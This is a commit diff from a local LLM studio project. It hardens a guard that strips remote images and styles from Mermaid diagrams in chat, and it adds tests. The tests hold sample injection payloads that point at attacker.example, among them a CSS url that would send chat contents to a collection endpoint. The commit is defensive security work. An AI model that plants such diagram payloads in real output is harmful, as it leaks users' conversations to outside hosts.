Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Studio mermaid guard: a quoted @{ cannot hide a later remote image (#14907)
Daniel Hanca59a0d06c93
diff --git a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts b/studio/frontend/src/components/assistant-ui/mermaid-guard.tsindex 775247b4c4f..dbb3c130cda 100644--- a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts+++ b/studio/frontend/src/components/assistant-ui/mermaid-guard.ts@@ -53,27 +53,89 @@ function isRecord(value: unknown): value is Record<string, unknown> {return typeof value === "object" && value !== null && !Array.isArray(value);}-/** The `id@{ ... }` shape data blocks, as mermaid's lexer ends them: at the first `}` outside a "string". */+/**+ * Every `@{` with its block up to the first `}` outside a "string", read on its own: lexer state decides+ * whether a `@{` is shape data or text, so blocks may overlap. Blocks without `img` or `\` are skipped.+ */function shapeDataBlocks(source: string): { start: number; end: number; body: string }[] {const blocks: { start: number; end: number; body: string }[] = [];- let from = 0;- for (;;) {- const open = source.indexOf("@{", from);- if (open < 0) return blocks;- let inString = false;- let close = -1;- for (let index = open + 2; index < source.length; index++) {- const char = source[index];- if (char === '"') inString = !inString;- else if (char === "}" && !inString) {- close = index;- break;+ if (!source.includes("@{")) return blocks;+ // First `}` outside a string from i, starting outside (closeFrom) or inside (quotedFrom) one: linear.+ const closeFrom = new Int32Array(source.length + 1).fill(-1);+ const quotedFrom = new Int32Array(source.length + 1).fill(-1);+ for (let index = source.length - 1; index >= 0; index--) {+ const char = source[index];+ if (char === '"') {+ closeFrom[index] = quotedFrom[index + 1];+ quotedFrom[index] = closeFrom[index + 1];+ } else {+ closeFrom[index] = char === "}" ? index : closeFrom[index + 1];+ quotedFrom[index] = quotedFrom[index + 1];+ }+ }+ const hintEnd = new Int32Array(source.length + 1).fill(-1);+ for (let index = source.length - 1; index >= 0; index--) {+ if (source[index] === "\\") hintEnd[index] = index + 1;+ else if (source.slice(index, index + 3).toLowerCase() === "img") hintEnd[index] = index + 3;+ else hintEnd[index] = hintEnd[index + 1];+ }+ for (let open = source.indexOf("@{"); open >= 0; open = source.indexOf("@{", open + 2)) {+ const close = closeFrom[open + 2];+ const hint = hintEnd[open + 2];+ if (close >= 0 && hint >= 0 && hint <= close) {+ blocks.push({ start: open, end: close + 1, body: source.slice(open + 2, close) });+ }+ }+ return blocks;+}++// Mermaid's own entity for `@`: it shows as `@` in text and never opens shape data.+const INERT_OPENER = "#64;{";++// Overlapping blocks can sum to the source's square; past this every `@{` is made inert unparsed.+const PARSE_BUDGET = 1 << 20;++/**+ * Remote images taken out of every block: a lone block is rewritten, a run of overlapping ones has all+ * its openers made inert (which reading wins depends on lexer state). Repeats until stable.+ */+function withoutRemoteShapeImages(source: string): string {+ let current = source;+ let budget = PARSE_BUDGET;+ for (let pass = 0; pass < 8; pass++) {+ // Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.+ const scanned = current.replace(COMMENT_LINE, (line) => " ".repeat(line.length));+ const fetching: { start: number; end: number; replaced: string }[] = [];+ for (const block of shapeDataBlocks(scanned)) {+ budget -= block.body.length;+ if (budget < 0) return current.replaceAll("@{", INERT_OPENER);+ const replaced = withoutRemoteImage(block.body);+ if (replaced !== null) fetching.push({ start: block.start, end: block.end, replaced });+ }+ if (fetching.length === 0) return current;+ let out = "";+ let at = 0;+ for (let first = 0; first < fetching.length; ) {+ let last = first;+ let runEnd = fetching[first].end;+ while (last + 1 < fetching.length && fetching[last + 1].start < runEnd) {+ last++;+ runEnd = Math.max(runEnd, fetching[last].end);}+ if (last === first) {+ out += current.slice(at, fetching[first].start) + fetching[first].replaced;+ at = fetching[first].end;+ } else {+ for (let index = first; index <= last; index++) {+ out += current.slice(at, fetching[index].start) + INERT_OPENER;+ at = fetching[index].start + 2;+ }+ }+ first = last + 1;}- if (close < 0) return blocks;- blocks.push({ start: open, end: close + 1, body: source.slice(open + 2, close) });- from = close + 1;+ current = out + current.slice(at);}+ return current.replaceAll("@{", INERT_OPENER);}/** A shape data block without a remote `img`, or null when it carries none and stays as written. */@@ -132,17 +194,8 @@ function withoutFetchingStyle(line: string, midLine: boolean): string {/** The diagram source with every image or style that would load from elsewhere taken out. */export function stripRemoteDiagramImages(source: string): string {- let out = "";- let at = 0;- // Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.+ let out = withoutRemoteShapeImages(source);const scanned = source.replace(COMMENT_LINE, (line) => " ".repeat(line.length));- for (const block of shapeDataBlocks(scanned)) {- const replaced = withoutRemoteImage(block.body);- if (replaced === null) continue;- out += source.slice(at, block.start) + replaced;- at = block.end;- }- out += source.slice(at);if (SEQUENCE.test(scanned)) out = out.replace(DETAILS_LINE, "");// Mermaid reads the diagram type after dropping directives: `%%{init}%%stateDiagram` counts.const midLine = MIDLINE_STYLE.test(scanned.replace(DIRECTIVE, ""));diff --git a/studio/frontend/tests/mermaid-remote-images.test.ts b/studio/frontend/tests/mermaid-remote-images.test.tsindex 019fa558685..cb4e7fb62bc 100644--- a/studio/frontend/tests/mermaid-remote-images.test.ts+++ b/studio/frontend/tests/mermaid-remote-images.test.ts@@ -76,6 +76,55 @@ test("the remote image key is dropped and the rest of the node kept", () => {);});+test("a `@{` or `}` inside a quoted label does not hide a later shape data block", () => {+ const img = 'img: "https://attacker.example/label", w: 10, h: 10';+ for (const [source, kept] of [+ [`flowchart LR\n A["@{"] --> B@{ ${img} }`, 'flowchart LR\n A["@{"] --> B@{ "w":10,"h":10 }'],+ [`flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ ${img} }`, 'flowchart LR\n A["x @{ y"] --> C["}"] --> B@{ "w":10,"h":10 }'],+ // A `}` inside the real block's quoted label must not close the label's `@{`.+ [+ `flowchart LR\n A["@{"] --> B@{ label: "}", img: "https://attacker.example/x" }`,+ 'flowchart LR\n A["@{"] --> B@{ "label":"}" }',+ ],+ // Accessibility text takes the rest of its line, quotes included.+ [`flowchart LR\n accTitle: A " title\n B@{ ${img} }`, 'flowchart LR\n accTitle: A " title\n B@{ "w":10,"h":10 }'],+ ]) {+ const out = stripRemoteDiagramImages(source);+ assert.equal(out, kept);+ assert.equal(stripRemoteDiagramImages(out), out);+ }+});++test("an unterminated `@{` is text and the diagram passes through", () => {+ const source = "sequenceDiagram\n Alice->>Bob: show @{ img: foo";+ assert.equal(stripRemoteDiagramImages(source), source);+});++test("two readings of `@{` that overlap are both made inert, keeping the text", () => {+ const source = "sequenceDiagram\n Alice->>Bob: x @{\n Bob->>Alice: y @{ img: https://attacker.example/z }";+ const out = stripRemoteDiagramImages(source);+ assert.equal(out, "sequenceDiagram\n Alice->>Bob: x #64;{\n Bob->>Alice: y #64;{ img: https://attacker.example/z }");+ assert.equal(stripRemoteDiagramImages(out), out);+});++test("an overlap makes only its own openers inert, a separate block is still rewritten", () => {+ const source =+ 'flowchart LR\n A["show @{ img: @{ img: x }"] --> B@{ img: "https://attacker.example/x", label: "B" }';+ const out = stripRemoteDiagramImages(source);+ assert.equal(out, 'flowchart LR\n A["show #64;{ img: #64;{ img: x }"] --> B@{ "label":"B" }');+ assert.equal(stripRemoteDiagramImages(out), out);+});++test("many `@{` sharing one close are not each parsed to the end", () => {+ for (const filler of ["@{ # ", "@{ # img "]) {+ const source = `sequenceDiagram\nAlice->>Bob: ${filler.repeat(32000)}}\nBob->>Alice: B@{ img: https://attacker.example/x }`;+ const started = performance.now();+ const out = stripRemoteDiagramImages(source);+ assert.ok(performance.now() - started < 1000, `${filler}: ${performance.now() - started} ms`);+ assert.equal(out.includes("attacker.example") && out.includes("@{"), false);+ }+});+test("a style statement after a semicolon cannot fetch either", () => {const url = "url(https://attacker.example/collect?chat=secret)";for (const [source, kept] of [@@ -99,6 +148,13 @@ test("a style statement after a semicolon cannot fetch either", () => {}});+test("many unclosed `@{` markers are scanned in linear time", () => {+ const source = `sequenceDiagram\n Alice->>Bob: ${"@{ ".repeat(16000)}`;+ const started = performance.now();+ assert.equal(stripRemoteDiagramImages(source), source);+ assert.ok(performance.now() - started < 1000);+});+test("a long line of style words is scanned in linear time", () => {const line = `flowchart LR\n A["${"style ".repeat(20000)}"] --> B; style A fill:url(https://attacker.example/x)`;const started = performance.now();